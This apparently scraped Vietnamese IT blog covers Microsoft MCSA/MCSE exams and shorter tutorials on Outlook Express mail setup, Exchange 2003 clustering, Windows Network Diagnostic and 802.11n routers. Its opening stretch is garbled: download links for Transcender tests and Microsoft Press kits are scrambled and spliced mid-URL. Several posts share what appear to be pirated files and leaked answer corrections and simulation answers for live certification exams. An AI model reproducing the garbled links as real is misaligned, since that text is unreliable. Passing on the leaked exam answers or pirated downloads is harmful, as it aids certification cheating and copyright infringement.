rar .com/files/29398311/Transcender_70-270_v6.rar Transcender 70-296 CODE http://rapidshare.1-rbs.rar http://rapidshare.rar Transcender 70-281 CODE http://rapidshare.com/files/29398773/Transcender_70-281_v2.0.com/files/29400961/Transcender_70-293_v6.rar Transcender 70-285 CODE http://rapidshare.com/files/29400379/Transcender_70-293_v6.1-rbs.CODE http://rapidshare.2-rbs.com/files/29398167/Transcender_70-270_v6.3-rbs.com/files/29398029/Transcender_70-270_v6.com/files/29401802/Transcender_70-296_v6.rar Transcender 70-294 CODE http://rapidshare.com/files/29398555/Transcender_70-272_v2.0.0.4-rbs.com/files/29401648/Transcender_70-294_v6.4-rbs.1.com/files/29397886/Transcender_70-229_v8.13-rbs.3.9-rbs.com/files/29397886/Transcender_70-229_v8.4-rbs.1.13-rbs2.rar Transcender 70-284 CODE http://rapidshare.com/files/29399215/Transcender_70-284_v2.1.com/files/29401944/Transcender_70-296_v6.4-rbs.rar http://rapidshare.1.20061002rbs.rar http://rapidshare.1.0.6-rbs.2-rbs.com/files/29399355/Transcender_70-285_v2.com/files/29399059/Transcender_70-284_v2.rar http://rapidshare.0.0.com/files/29398905/Transcender_70-282_v2.rar http://rapidshare.0.0.rar http://rapidshare.rar Transcender 70-270 CODE http://rapidshare.rar http://rapidshare.3-rbs.0.2-rbs.1-rbs.rar Transcender 70-293 CODE http://rapidshare.rar Transcender 70-272 CODE http://rapidshare.0.0.com/files/29399928/Transcender_70-293_v6.rar Transcender 70-282 CODE http://rapidshare.

rar Transcender 70-305 CODE http://rapidshare.1-rbs.0.0.0.com/files/29403216/Transcender_70-306_v7.2-rbs.com/files/29402755/Transcender_70-300_v4.com/files/29403481/Transcender_70-315_v7.com/files/29402577/Transcender_70-299_v2.rar Transcender 70-306 CODE http://rapidshare.0.com/files/29402893/Transcender_70-305_v7.com/files/29404679/Transcender_70-431_v2.com/files/29402331/Transcender_70-299_v2.com/files/29402146/Transcender_70-296_v6.rar Transcender 70-299 CODE http://rapidshare.rar http://rapidshare.rar Transcender 70-431 CODE http://rapidshare.2-rbs.com/files/29404300/Transcender_70-431_v2.rar Transcender 70-300 CODE http://rapidshare.com/files/29404129/Transcender_70-350_v2.0.0.2.1-rbs.com/files/29403726/Transcender_70-316_v7.0.rar http://rapidshare.1-rbs.4-rbs.2-rbs.com/files/29403087/Transcender_70-306_v7.rar Transcender 70-316 CODE http://rapidshare.rar http://rapidshare.rar Transcender 70-315 CODE http://rapidshare.com/files/29404538/Transcender_70-431_v2.com/files/29403932/Transcender_70-320_v7.0.0.com/files/29403601/Transcender_70-315_v7.0-rbs.0.rar http://rapidshare.1-rbs.3-rbs.1.2-rbs.0.20060919rbs.rar http://rapidshare.0.0.5-rbs.7-rbs.rar Transcender 70-441 CODE .http://rapidshare.5-rbs.rar Transcender 70-350 CODE http://rapidshare.rar Transcender 70-320 CODE http://rapidshare.

rar Transcender 70-444 CODE http://rapidshare.com/files/29405109/Transcender_70-442_v2.com/files/29405276/Transcender_70-443_v2.0-rbs.com/files/29405957/Transcender_70-444_v2.rar http://rapidshare.com/files/29406963/Transcender_70-526_v2.com/files/29407698/Transcender_70-529_v2.rar Transcender 70-536 CODE http://rapidshare.rar http://rapidshare.com/files/29406837/Transcender_70-447_v2.0.http://rapidshare.4-rbs.0.rar http://rapidshare.com/files/29407848/Transcender_70-536_v2.rar http://rapidshare.rar Transcender 70-442 CODE http://rapidshare.com/files/29406404/Transcender_70-444_v2.com/files/29407236/Transcender_70-528_v2.com/files/29406691/Transcender_70-447_v2.0.com/files/29408212/Transcender_70-536_v2.0.1-rbs.2-rbs.rar http://rapidshare.0.rar Transcender 70-529 CODE http://rapidshare.rar http://rapidshare.0-rbs.com/files/29405727/Transcender_70-443_v2.0.rar http://rapidshare.0-rbs.0.rar Transcender 70-526 CODE http://rapidshare.rar http://rapidshare.com/files/29408031/Transcender_70-536_v2.1-rbs.2-rbs.0-rbs.rar Transcender 70-528 CODE http://rapidshare.2-rbs.3-rbs.com/files/29408381/Transcender_70-536_v2.rar http://rapidshare.rar http://rapidshare.0.0.2-rbs2.rar Transcender 70-447 CODE http://rapidshare.2-rbs.rar Transcender 70-443 CODE http://rapidshare.com/files/29404938/Transcender_70-442_v2.rar http://rapidshare.0.com/files/29405543/Transcender_70-443_v2.0.3-rbs.0.2-rbs.2-rbs.2-rbs.0.com/files/29406540/Transcender_70-447_v2.rar http://rapidshare.com/files/29407360/Transcender_70-528_v4.com/files/29406249/Transcender_70-444_v2.0.com/files/29407097/Transcender_70-528_v2.rar http://rapidshare.1-rbs.com/files/29407515/Transcender_70-528_v4.0.0-rbs.1-rbs.com/files/29404796/Transcender_70-441_v2.rar .0-rbs.1-rbs.0.

feb.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-291) Implementing.com MCTS: Exam 70-620 Microsoft Windows Vista Client Configuration Study Guide CODE http://rapidshare. Second Edition CODE http://rapidshare.NET Framework CODE http://rapidshare.rar http://rapidshare.com/files/2954 … 70-548.com QQ?24765 Msn:xiaolour#gmail.rar v Mail:dynamips#gmail.pdf . Managing.Transcender 70-553 CODE http://rapidshare.com/files/29551698/MS_Self_Paced_Kit_70-290.pdf MCDST Self-Paced Training Kit (Exam 70-272) Supporting Users and Troubleshooting Desktop Applications on a Microsoft Windows XP Operating System (CD-ROM) CODE http://rapidshare. and Maintaining a Microsoft Windows Server 2003 Network Infrastructure.com/files/2743 … Paced_Kit.com/files/2955 … 70-620.com/files/29551445/MS_Self_Paced_Kit_70-291.2007.com/files/2743 … Paced_Kit.part2.rar MCSA/MCSE Self-Paced Training Kit (Exam 70-290) Managing and Maintaining a Microsoft Windows Server 2003 Environment. Second Edition CODE http://rapidshare.0-rbs.Apr.2007.part1.rar MCDST Self-Paced Training Kit (Exam 70-272) Designing and Developing Windows -Based Applications Using the Microsoft .com/files/29408540/Transcender_70-553_v2.

Second Edition CODE http://rapidshare.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-294) Planning.com/files/29554099/MS_Self_Paced_Kit_70-297.MCSA/MCSE Self-Paced Training Kit (Exam 70-293) Planning and Maintaining a Microsoft Windows Server 2003 Network Infrastructure.com/files/29553280/MS_Self_Paced_Kit_70-294.0 download tại đây Xem các câu P4S 70-270 sai bên dưới: Cau: sai | dung 2 ad ae 30 c e 40 a a(testking sai b) 68 a d 71 a c 80 a c 98 c d . Implementing.com/files/29554612/MS_Self_Paced_Kit_70-298.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-297) Designing a Microsoft Windows Server 2003 Active Directory and Network Infrastructure CODE http://rapidshare. Second Edition CODE http://rapidshare.cn/pass4sure-at-tk-mspress-cbt-videos-mocs-for-all-microsoft/ Được đăng bởi haodalat tại 10:43 CH 0 nhận xét Nhãn: MCSA.pdf http://dynagen. Pre Exam Thi MCSA.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-298) Designing Security for a Microsoft Windows Server� 2003 Network CODE http://rapidshare.com/files/29551989/MS_Self_Paced_Kit_70-293.Pass4Sure v1.MCSE 1000/1000 Day la tong hop cac bai viet thi dac biet cua 1 nguoi noi tieng Nhat Nghe co quy tinh cua TraiTimThu Razz MON 70-270 3. and Maintaining a Microsoft Windows Server 2003 Active Directory Infrastructure.

Nếu không quen với việc đọc file pdf thì bạn có thể dùng P4S v2.25 and don't forget to Also enable the Create assiociated pointer (PTR) record Option question 102 B not D question 107 ( C ) is correct: .40 (chỉ có 129 câu hỏi thôi. question 60: Change and Modify question 67: Wednesday and Copy question 74: B question 75: Correct answer is missing: It should be Manage Documents permission on the printer question 116: Local Policies question 119: A question 152: Allow Write question 167: B.108 120 160 171 ca cd ae ce bc MON 70-290 Đề thi gồm 40 câu hỏi (hoàn toàn có trong P4S) và 5 simulation 1.168. Read. download tại đây 2. Read and Execute. Fix: question 18 CE not BC question 24 BC not AD question 52 add ip adres: 192.20 corrections: question 4: Devices: Unsigned driver installtion behavior. NTFS permission: List Folder Contents. E question 173: B. Read question 203: E question 209: D question 229: Apply onto: This Folder Only.Học trong P4S 70-290 v2.Lời khuyên: bạn nên học trong Test Inside 109 câu hỏi và 3 câu giả lập. MON 70-291 Đề thi khoảng 46 câu + 3 câu giả lập. Bạn có thể dùng P4S để giả lập thi thử. Allow Modify question 192: Allow List Folder Contents.1. đề thi nằm hoàn toàn trong đây (lý thuyết và giả lập luôn). C question 191: Change. Deny Create Files / Write Data question 234: Share permissions: Read. 1. quan trọng là ko cần fix lỗi. lại còn trùng rất nhiều nên chỉ còn 110 câu thôi).20 (237 câu hỏi và câu trã lời) + fix các câu trả lời sai của P4S P4S 2.

P4S cũng tương tự + 1 số lỗi cần fix.8 + fix PASS4SURE fix Q6: A+D . P4S. 99 câu. Đảm bảo từ 982-1000 điểm. nhất là các câu kéo thả. Bạn download Testking v4 tại đây..change the already existing GPO Các câu trùng: 54 (duplicate of 31 (& 108)) 57 (duplicate of 32) 60 (duplicate of 33) 62 (duplicate of 38 ) 65 (duplicate of 34 (&103)) 66 (duplicate of 39) 77 (duplicate of 15) 86 (duplicate of 43) 92 (duplicate of 9) 93 (duplicate of 84) 97 (duplicate of 56) 98 (duplicate of 64) 100 (duplicate of 59) 101 (duplicate of 63) 102 (duplicate of 35) 103 (duplicate of 34 (& 65)) 104 (duplicate of 29) 105 (duplicate of 36) 106 (duplicate of 61) Lưu ý: P4S phía trên có thể chưa fix hết các lỗi. Mail Exchange (MX). MON 70-294 Dề thi khoảng 45 câu (3 sim).Về 3 câu giả lập chắc chắn là: Routing &Remote Access. 2. Với môn này bạn không phải băn khoăn về chuyện nên học TK.P4S v1.. vì TK chỉ có . vì vậy các bạn nên xem thêm trong tài liệu VCE này để tìm đáp án chính xác hơn 3. hay Testinside nữa. Đề thi khoảng 50 câu. Delegation nằm hoàn toàn trong TestInside. MON 70-350 Đây là môn dễ thi nhất nhưng lại khá khó về kiến thức. Phần lớn các câu hỏi đều tập trung vô phiên bản ISA 2004 Enterprise. không có câu giả lập.

q11.assign install at logon. the Q1 about audit strategy. site 3-4=100.q10.com/file/15998093/68085ce9/70-293_V273.errata. Tuy nhiên số lượng câu hỏi ôn tập lại rất ít (95 câu) nên pass môn này với điểm tuyệt đối ko phải là vấn đề quá khó. MON 70-293 Đề thi khoảng 42 câu (3sim) 2. you must choose the D (Audit Logon Event). not. mỗi case là 1 tình huống gồm từ 5-10 câu hỏi nhỏ.html? s=1 + fix Q1 . site 4-1=50 Q152: Portable . Domain 6 Q126: E Q143: Site 1 -2=250. GPO4 -> Accounting OU Q111: Wingtiptoys GPO2.html?s=1 )q1.70-298.dap an la C Q10 & 104 . Các bạn tải tài liệu sau:Microsoft.q17.4shared.P4S http://www. 0-4 Q67: B Q75: A Q78: Select corp_users on ou container in each forest Q91: select research. like TestKing says.dap an la Print Server Q50 .4shared.q4. Đặc biệt lưu ý cách hướng dẫn sim của các tài liệu rất khác nhau. 0-2.by. site 2-3=50.dap an la A 3.Nhung chac an hoc 6 cau sau q1.Q8: A Q26: B Q38: B Q53: Site 0-1. Desktop . A (Audit Account Logon).TestKing. Accounts Payable GP04 Q118: C+E Q121: Select Domain 2 .com domain object Q92: A+B Q105: A Q109: Select GPO1 -> Domain . 0-3.com/file/28088652/4200419a/70293_Simulations_From_Tk_v35. nếu có điều kiện bạn nên làm lab thử luôn!!! Những đáp án dưới đây tương đối chuẩn bạn có thể tham khảo. Accounting GPO3. finish case nào là ko back lại được.q9.adutum.dap an la A Q105 .sTf Lưu ý câu này: South Bridge Video (9 questions).q11. sim 1: about win NT/98 computers not able to communicate in the network .assign on demand Q153: B+D Q170: {Sales} {accounts}{Computers} MON 70-298 Đề thi dạng case khoảng 35 câu hỏi cho 4-5 case.3sim(070-293_250q_TestKing_v35_Simulations http://www.q9.

sadikhov..sadikhov.com/forum/index. the Default Domain Policy wasn't linked to to the domain. Chuc Thanh Cong MCSA. Sim 3: About using no SMB signing on the network and ensuring that data sent to and from a department OU(in this case HR server) is encrypted.. including streaming media. 70-291-9 +more. One Stop Shopping! [ pinned by BOFH ] TK 70-284 V35: http://www. So.MCSE !!! Very Happy http://itpro.php?showtopic=95807 TK 70-291 V50: http://www.com/forum/index. And I got it right. Pre Exam Errata & Sims For 70-284-85. laugh.com/forum/index.sadikhov. I thought.net/forum-f1/topic-t12. ans: uninstall Application server & Windows Media Services.gif Sim 2: About removing unnecessary components and services from a server which previously hosted intranet media. the interesting part was.. Ans: had to link the appropriate GPO and delete the unwanted links among the 4 gpos.php?sh.1&hl=errata .realbb. what the heck--link it.php?sh.=92172&st=0 TK 70-285 V18: http://www..htm Được đăng bởi haodalat tại 10:24 CH 0 nhận xét Nhãn: MCSA.ans: Edit Default DC policy disable-----> MS network server:digitally sign communication(always) MS network client:digitally sign communication(always) enable-----> MS network server:digitally sign communication(if client agrees) MS network server:digitally sign communication(if client agrees) Assign Server(Request Security) Edit Default Domain Policy Assign Client(respond only) Now.

623.Chọn Accounts.php?showtopic=102302 SRV 2K8 70-649: http://www. 622.php?showtopic=103688 http://www.com/forum/index..Tk 70-293 V33.com vào phần Outgoing mail. Gõ vào pop.com/forum/index.php?showtopic=102832 Được đăng bởi haodalat tại 10:01 CH 0 nhận xét Nhãn: MCSA.sadikhov..com/forum/index.php?showtopic=86158 VISTA Exams 620. Chọn . Gõ tài khoản Gmail vào phần Account name và Password như hình trên. Cài đặt Gmail (Google Mail) a..sadikhov.sadikhov.5&hl=errata Abstract & Errata For Tk 70-298 V.sadikhov. Chọn Next.php?showtopic=59204 Tk 70-294 V33.com/forum/index.sadikhov.18: http://www.1&hl=errata Complete Errata & Notes For Tk 70-299 V 14: http://www.com/forum/index. Chọn Add -> Chọn Mail. Gõ vào địa chỉ Gmail như hình trên rồi chọn nút Next.sadikhov.gmail.0: http://www.php?showtopic=69561 Abstract & Errata For Tk 70-297 V.php?sh.0: http://www.. 624: http://www.sadikhov.gmail.php?sh. Cài đặt Gmail trong Outlook Express Vào menu Tools . Pre Exam 18-04-2008 cách lấy mail từ GMAIL bằng Outlook Express ài đặt Gmail và Yahoo Mail trong chương trình Outlook Express và Windows Mail 1.com/forum/index..sadikhov. Gõ vào tên như hình trên rồi chọn Next..com/forum/index.com vào phần Imcoming mail và smtp.19: http://www.com/forum/index.

Máy quay về màn hình ban đầu như trên. Chọn Finish để kết thúc. Gõ vào tên của bạn rồi chọn tiếp nút Next. Gõ vào địa chỉ Gmail rồi chọn tiếp nút Next. Bấm chuột vào tài khoản Gmail vừa tạo rồi chọn Properites. Gõ vào pop. Cài đặt Yahoo Mail trong Windows Mail Thực hiện trương tự như phần cài Gmail trong Windows Mail nhưng chú ý gõ localhost cho cả phần Incoming mail (POP3 or IMAP) server và Outgoing email server (SMTP) server. Chương trình quay về màn hình ban đầu: Đặt thanh sáng lên địa chỉ vừa cài đặt xong rồi chọn Properties. Have fun ! .com cho phần Incoming mail và smtp.. Chuyển sang phần Advanced: Bấm chuột vào hai mục là This server requires a secure connection (SSL) của phần Outgoging mail (SMTP) và This server requires a secure connection (SSL) của phần Incoming mail (POP3). Gõ 465 vào phần Outgoing mail (SMTP). Chuyển sang phần server rồi chọn mục My server requires authentication. Chuyển sang Advanced: Chọn vào 2 mục This server requires a secure connection (SSL) và gõ 465 vào phần Outgoing mail (SMTP). Khi cài đặt chương trình này xong máy sẽ khởi động chương trình này mỗi khi bật máy. Gõ vào phần đầu của địa chỉ Gmail vào phần E-mail username và mật khẩu vào phần Password như hình trên. Cài đặt Gmail trong Windows Mail Chọn menu Tools của chương trình Windows Mail -> Chọn Accounts… Chọn Add… Chọn E-mail Account .gmail. Cài đặt Yahoo Mail: Việc đầu tiên của việc cài đặt chương trình Yahoo Mail để sử dụng trong Outlook Express hay Windows Mail thì phải cài đặt chương trình Ypops.Chọn Next.Next.com cho phần Outgoing e-mail server như hình trên rồi chọn Next.gmail. 2. Cài đặt Yahoo Mail trong Outlook Express Thực hiện trương tự như phần cài Gmail trong Outlook Express nhưng chú ý gõ localhost cho cả phần Incoming mail (POP3 or IMAP) server và Outgoing email server (SMTP) server. b. Chọn vào Remember password rồi chọn Next. Và chương trình này phải đảm bảo luộn được hoạt động trong thời gian sử dụng máy thì chương trình Yahoo Mail mới hoạt động được. Chương trình có biểu tượng nằm tại góc dưới bên tay phải màn hình khi được hoạt động. b. Chuyển sang mục Servers -> My server requires authentication. Chọn Finish để kết thúc. Chọn vào mục Leave a copy of messages on server và Remove from server when deleted from ‘Deleted Items’. Chương trình này khi cài đặt ra thì không phải thay đổi thông số gì cả. a.

php?showtopic=78432 ~passed~ 70-536 http://www.sadikhov.sadikhov.com/forum/index.com/forum/index.php?showtopic=59516 ~passed~ 70-236 http://www.php?showtopic=101354 ~passed~ 70-528 http://www.com/forum/index.sadikhov.sadikhov.com Được đăng bởi haodalat tại 7:09 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.php?showtopic=78121 ~passed~ 70-621 http://www.com/forum/index.php?showtopic=47995 ~passed~ 70-526 http://www. POP3 All Passed Topic. MCSA.com/forum/index.++++++++++++++++++ SMTP : port 25 nếu thêm TLS --> SMTPs : port 465 POP3 : port 110 nếu thêm SSL --> POP3s : port 995 Khi config bạn nhớ check vào : My server requires authentication và This server requires secure connections (SSL) Muốn lưu 1 bản của mail trên server thì bạn check vào Leave a copy of message on server Down file hướng dẫn của mình tại đây suu tam tu nhatnghe.php?showtopic=85152 ~passed~ 70-431 http://www.php?showtopic=99281 ~passed~ 70-648 http://www.com/forum/index.com/forum/index.sadikhov.sadikhov. Index of All Passed Topics ~passed~ 70-620 http://www.php?showtopic=114949 ~passed~ 70-649 http://www.sadikhov.com/forum/index.com/forum/index.php?showtopic=83409 .sadikhov.sadikhov.

sadikhov. MCSA.php?showtopic=116518 ~passed~ 70-401 http://www. 10:49 PM http://www..sadikhov.~passed~ 70-445 & 70-446 http://www.php?showtopic=111637 ~passed~ 70-557 http://www.com/forum/index.php?showtopic=117093 This post has been edited by screeeeeem: Apr 8 2008.com/forum/index.com/forum/index.sadikhov. Trong bài viết này sẽ bắt đầu tạo Exchange Virtual Server cho Exchange Cluster dành cho các ứng dụng khác nhau. Mô hình Cluster Server Trước khi thực hiện quá trình này bạn phải hoàn thành các bước: .com/forum/index.com/forum/index.php?showtopic=96441 ~passed~ 70-351 http://www.php?showtopic=112232 ~passed~ 70-631 http://www.com/forum/index.sadikhov.com/forum/index.php?showtopic=107403 ~passed~ 70-400 http://www.php?showtopic=103068 ~passed~ 70-630 . Trong bài viết này tôi sẽ trình bày với các bạn các bước cần thiết để tạo một Exchange Virtual Server cho Exchange Server Clustering với Windows Server 2003.com/forum/index.Passed Today! http://www.sadikhov.com/forum/index.php?showtopic=86914 ~passed~ 70-622 http://www. NETWORK 16-04-2008 Cấu hình Exchange Virtual Server .php?showtopic=103720 Được đăng bởi haodalat tại 2:36 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. Bài viết này tôi chỉ trình bày những quá trình cơ bản nhất khi làm việc với Exchange 2003 Cluster.sadikhov.sadikhov.sadikhov.sadikhov.

.Tạo một Cluster với Cluster Administrator. Bạn sẽ phải gán tên và lựa chọn miêu tả cho Cluster Group. Hình 4: Tạo Cluster IP Tạo một Cluster Name . Cluster IP sẽ được sử dụng để gán địa chỉ IP cho Exchange Virtual Server. Mạng cho Cluster IP là LAN.Cài đặt và cấu hình Windows Server 2003 Enterprise. Hình 3: Lựa chọn . Sau khi cài đặt Exchange Server 2003 trên mỗi Cluster Node bạn sẽ nhìn thấy trong phần Cluster Resources của Cluster Administratỏ có phần Exchange Server Setup. Nếu trong quá trình hoạt động của hệ thống nếu có một lỗi xảy ra trên một Node thì Cluster Group sẽ được chuyển sang Cluster Node khác. .. . NAS) cho Quorum và Exchange Databases.Preferred Owners Tạo một Cluster IP Sau khi hoàn tất việc tạo mới một Cluster Group bạn sẽ phải tạo một Cluster IP. Khi lỗi xảy ra nó chỉ có thể chuyển giữa các Node có quyền sở hữu (Preferred Owners). Một Cluster Group sẽ sử dụng để nhóm các tài nguyên và các thiết lập cần thiết khi tạo Exchange Cluster. Hình 2: Tạo mới Cluster Group Wizard Trong bước tiếp theo bạn sẽ phải lựa chọn quyền sở hữu cho Resource Group.Triển khai hệ thống Storage (SAN.Cài đặt Exchange Server 2003 Enterprise với Service Pack 2 trên mỗi Cluster Node.Xuất hiện trong Cluster Administrator Tạo mới một Cluster Group Bước đầu tiên tạo một Cluster Group. Hình 1: Exchange Cluster Resources .

Hình 9: Cluster Disk Cluster Disk cho Cluster trong bài viết này có tên là Disk E: Hình 10: Lựa chọn Cluster Disk cho Exchange Tạo Exchange Virtual Server Và bây giờ là thời điểm để tạo Exchange Virtual Server. Cluster Disk từ Physcial Disk trong Resource Type. Quyền sở hữu của Exchange Virtual Server lựa chọn Node 1 và Node 2. . Cluster Name sẽ phụ thuộc vào Cluster IP. Với Exchange Server 2003 hỗ trợ quá trình xác thực Kerberos khi bạn lựa chọn checkbox Enable Kerberos Authentication. Hình 7: Cluster Name Properties Cluster Disk Và bây giờ là quá trình tạo tài nguyên Cluster Disk. Chuột phải vào Cluster Group và lựa chọn New à Resrource và lựa chọn Microsoft Exchange System Attendant cho dạng của tài nguyên mới này. Hình 5: Tạo mới Cluster Name Quyền sở hữu thuộc về: NODE1 và NODE2.Resource Dependency Tên của Cluster tôi đặt là DECCLUS. Thiết lập Cluster sẽ tạo ra những Records trong máy chủ DNS. Hình 11: Tạo Exchange Virtual Server. Sau đó nó sẽ tạo ra Exchange Virtual Server.Bây giờ việc cần thiết chúng ta phải tạo Cluster Name. Hình 8: Cluster Disk Cluster Disk phụ thuộc vào Cluster IP và Cluster Name. Cluster Name Resource bắt buộc phải tạo trong Cluster Group cho Exchange. Hình 6: Tài nguyên phụ thuộc . Cluster Name sẽ được sử dụng làm tên của Cluster.

Hình 15: Lựa chọn Routing Group cho Exchange Virtual Server. Hình 13: Exchange Virtual Server phụ thuộc các tài nguyên Lựa chọn Exchange Administrative Group. Nó sẽ mang toàn bộ các tài nguyên dựa trên các cái nó phụ thuộc trong Cluster Group Online. Hình 19: EVS trong ESM .Hình 12: Possible Owners – cho Exchange Virtual Server Exchange Virtual Server sẽ phụ thuộc vào các tài nguyên: Cluster IP. Hình 18: Resources Online Exchange Virtual Server trong Exchange System Manager Exchange Virtual Server (EVS) được hiển thị như một đối tượng bìnht hường trong Exchange System Manager (ESM). Đọc lại toàn bộ quá trình một cách cẩn thận và xem lại các cấu hình rồi nhấn nút Finish. Hình 14: Lựa chọn Administrative Group cho Exchange Virtual Server. Lựa chọn Routing Group Cài đặt Exchange Virtual Server trong Exchange Routing Group nơi các Cluster Node. Sau khi hoàn tất quá trình tạo Cluster Group và Exchange Virtual Server. khi Virtual Exchange Server cài đặt. Hình 16: Tổng hợp các cấu hình của Exchange Virtual Server. Nếu trong Exchange Organization chi có một Administrative Group bạn sẽ không có lựa chọn Administrative Group. Cluster Name và Physical Disk. chuột phải vào Cluster Group và lựa chọn Bring Online. Mặc định đường dẫn của Exchange Databases là tại Cluster Disk và phía trước với đường dẫn là \EXCHSRVR cũng tương tự như cài đặt Exchange Server. Hình 17: Cluster Group Online Quá trình này sẽ mất một thời gian và kết quá sẽ như chúng ta nhìn thấy dưới đây.

Khi một lỗi được tìm thấy. http://zensoft. Sau quá trình xử lý. công cụ sẽ kiểm tra xem lỗi đó đã hoàn toàn biến mất hay chưa. một trong số đó là vào Control Panel và tìm kiếm theo từ khoá "network”. Windows Network Diagnostic bắt đầu quá trình nhận biết các vấn đề trong kết nối. Khi đã hoạt động. hãy kích vào liên kết Identify and repair network problems để khởi động Windows Network Diagnostic.vn/ShowArticle. Trong danh sách kết quả tìm kiếm bạn sẽ thấy Network and Sharing Center. Exchange Virtual Server cũng được xuất hiện trong Active Directory User and Computers. Bạn không cần phải bắt buộc là một chuyên gia để tìm ra những sai xót trong mạng hay kết nối Internet tại nhà. chỉ việc chạy công cụ và nó sẽ thông báo tới bạn những vấn đề mà nó phát hiện được. Đây là các bước tôi giới thiệu với các bạn để hoàn tất quá trình thiết lập Exchange Virtual Server. Khi kết thúc quá trình sửa lỗi. Hay có thể khi bạn truy cập vào Network Connections. Công cụ này có thể giúp bạn nhận biết và giải quyết dễ dàng hầu hết các vấn đề mạng. Khi bạn kích vào giải pháp sửa lỗi mà công cụ cung cấp thì Windows Network Diagnostics sẽ áp dụng thực hiện quá trình sửa lỗi đó. . Trong hình minh họa trên bạn có thể thấy rằng công cụ đã phát hiện có một lỗi xảy ra trên máy chủ DNS. Windows Network Diagnostics nếu có thể sẽ đưa ra các mô tả và hướng dẫn để xử lý lỗi. hãy ấn phải chuột tại biểu tượng mạng và chọn Diagnose.Exchange Virtual Server được hiển thị như một máy tính bình thường.aspx?ID=3208 Được đăng bởi haodalat tại 9:17 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. công cụ này sẽ cho bạn biết liệu nó có phát hiện ra bất kỳ lỗi nào hay không. Ngoài ra bạn cũng có thể kích hoạt Windows Network Diagnostic bằng tùy chọn khác như sau: Control Panel -> Network and Internet -> Network and Sharing Center-> Diagnose and repair. Có một vài cách để tìm ra công cụ này. NETWORK Windows Network Diagnostic – chuẩn đoán hiệu quả các vấn đề mạng Một trong những tính năng mới Windows Vista phải kể đến công cụ Windows Network Diagnostic. Ở phía dưới nó. MCSA.

chạy xa được tới các góc của tòa nhà và có sự mã hóa tín hiệu mạnh. Các router không dây 802.11n đều được thiết kế cho tốc độ cao nhưng phạm vi của chúng không rộng). và tín hiệu chỉ với được trong khoảng 600 feet (tất cả các sản phẩn 802. luồng truyền thông đa phương tiện từ phòng marketing đến phòng hội thảo và truy cập ngay cả trong cafe công ty.11n cho tốc độ mạng không dây nhanh nhất và độ bao phủ lớn nhất Trong nhiều công ty. Lời giải cho tốc độ và phạm vi su dung 802. vì vậy bạn không thể mở rộng tín hiệu. http://zensoft. MCSA. Với các công ty hiện nay như Cisco. bạn có thể thấy lỗi mạng đã không được sửa chữa thành công. NETWORK 15-04-2008 Sử dụng 802.11g như Belkin Wireless Pre-N F5D8230-4 có hỗ trợ cầu nối nhưng thông lượng chỉ cho đến khoảng 40Mbit/sec.11n có tốc độ truy cao đạt khoảng 130Mbit/sec nhưng chúng vẫn bị giới hạn phạm vi khoảng 300 feet và không hỗ trợ cầu nối.vn/ShowArticle.11g thường cho tốc độ chậm. Có rất nhiều các trường hợp khác là nguyên nhân phát sinh lỗi mạng. Trường hợp này. Những gì thực sự cần thiết đối với một kết nối là phải có tốc độ nhanh. Các điểm truy cập siêu nhanh super-fast 802.aspx?ID=2994 Được đăng bởi haodalat tại 8:58 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. các mạng không dây được dùng để phục vụ nhiều mục đích khác nhau: cho các khách ghé thăm công ty. . Trong hầu hết các trường hợp.Trong hình minh họa phía dưới. Thật may mắn là Windows Network Diagnostics sẽ giúp bạn nhận biết chúng chỉ trong giây lát và chỉ bằng một cú kích chuột. mặc dù chúng được hỗ trợ cầu nối (cầu nối đề làm tăng tín hiệu). giải pháp còn lại là bạn phải liên hệ với nhà cung cấp internet và thông báo cụ thể về tình trạng lỗi mạng của bạn. nhiều router 802. các Wi-Fi này thường có tốc độ chậm và độ bao phủ hạn hẹp. Netgear ProSafe. Các router như Linksys Wireless-N WRT300N có hỗ trợ thông lượng nhanh khoảng 120Mbit/sec dưới các điều kiện lý tưởng không xuất hiện các tín hiệu vô tuyến khác trong phạm vi của nó – tuy nhiên vẫn không hỗ trợ cầu nối. bạn có thể thấy được phần nào câu trả lời. Juniper Networks và các sản phẩm ImageStream. Chính vì vậy đi tìm lời giải về tốc độ và phạm vi là một vấn đề quan trọng.11n cho toc do mang wifi Ví dụ.

Netgear RangeMax Next WNR834B Netgear RangeMax Next WNR834B hỗ trợ việc nối kết giữa hai mô hình giống nhau. phạm vi và tính bảo mật.Để có thể kết hợp tốt nhất về tốc độ. bạn cần lưu ý đến địa chỉ điều khiển truy cập thiết bị (MAC) được viết trên nhãn của router. Đây là mô hình tốt nhất bạn có thể xem xét. bảo mật WPA-TKIP nâng cao và một tín hiệu với tốc độ 100Mbit/sec. Ví dụ trên Trendnet TEW-630APB. chỉ có một lựa chọn là quan sát các router có hỗ trợ chi tiết kỹ thuật 802. hãy kiểm tra website của công ty đó. tải về các bản vá mới nhất và cài đặt nó. như luồng video hoặc download mạng bên trong rất nhanh. Theo các bước cài đặt của CD và sau đó truy .11n Draft 2. nhưng có nhiều tính năng nâng cao làm việc tốt trong các cài đặt công ty. vì vậy bạn không nên sử dụng chúng cho các truy cập LAN trong công ty mà thay vì đó chúng chỉ lý tưởng cho dòng video không dây từ nhà này sang nhà khác hoặc cung cấp băng tần mở rộng cho người dùng laptop có thể thực hiện lưu trữ các file của họ hoặc tải một số lượng lớn dữ liệu từ các trang mạng nội bộ an toàn bên trong. Các thiết bị này rất có ý nghĩa cho thị trường gia đình. Lưu ý rằng trên hầu hết các mô hình này. Một chạy trong chế độ trạm gốc "base station" và một chạy trong chế độ lặp "wireless repeater". cùng với các chi tiết về cách cấu hình chế độ cầu nối. Chỉ có một chút khó hiểu là các router không sử dụng trong công ty thường không hỗ trợ phần cứng VPN hoặc các tính năng bảo mật công ty. tìm mô hình router cụ thể. D-Link và Trendnet là các thiết bị đi đầu trong lĩnh vực mạng không dây.0. bạn có thể bắc cầu đến 6 router vì vậy tín hiệu có thể vươn xa từ tòa nhà này sang tòa nhà khác mà vẫn bảo đảm tốc độ là 100Mbit/sec cùng với bảo vệ WPA. Trước khi thiết lập mạng. Netgear RangeMax Next WNR834B Cấu hình trạm gốc không dây bằng sử dụng địa chỉ MAC cho router lặp Với thiết vị được thiết lập 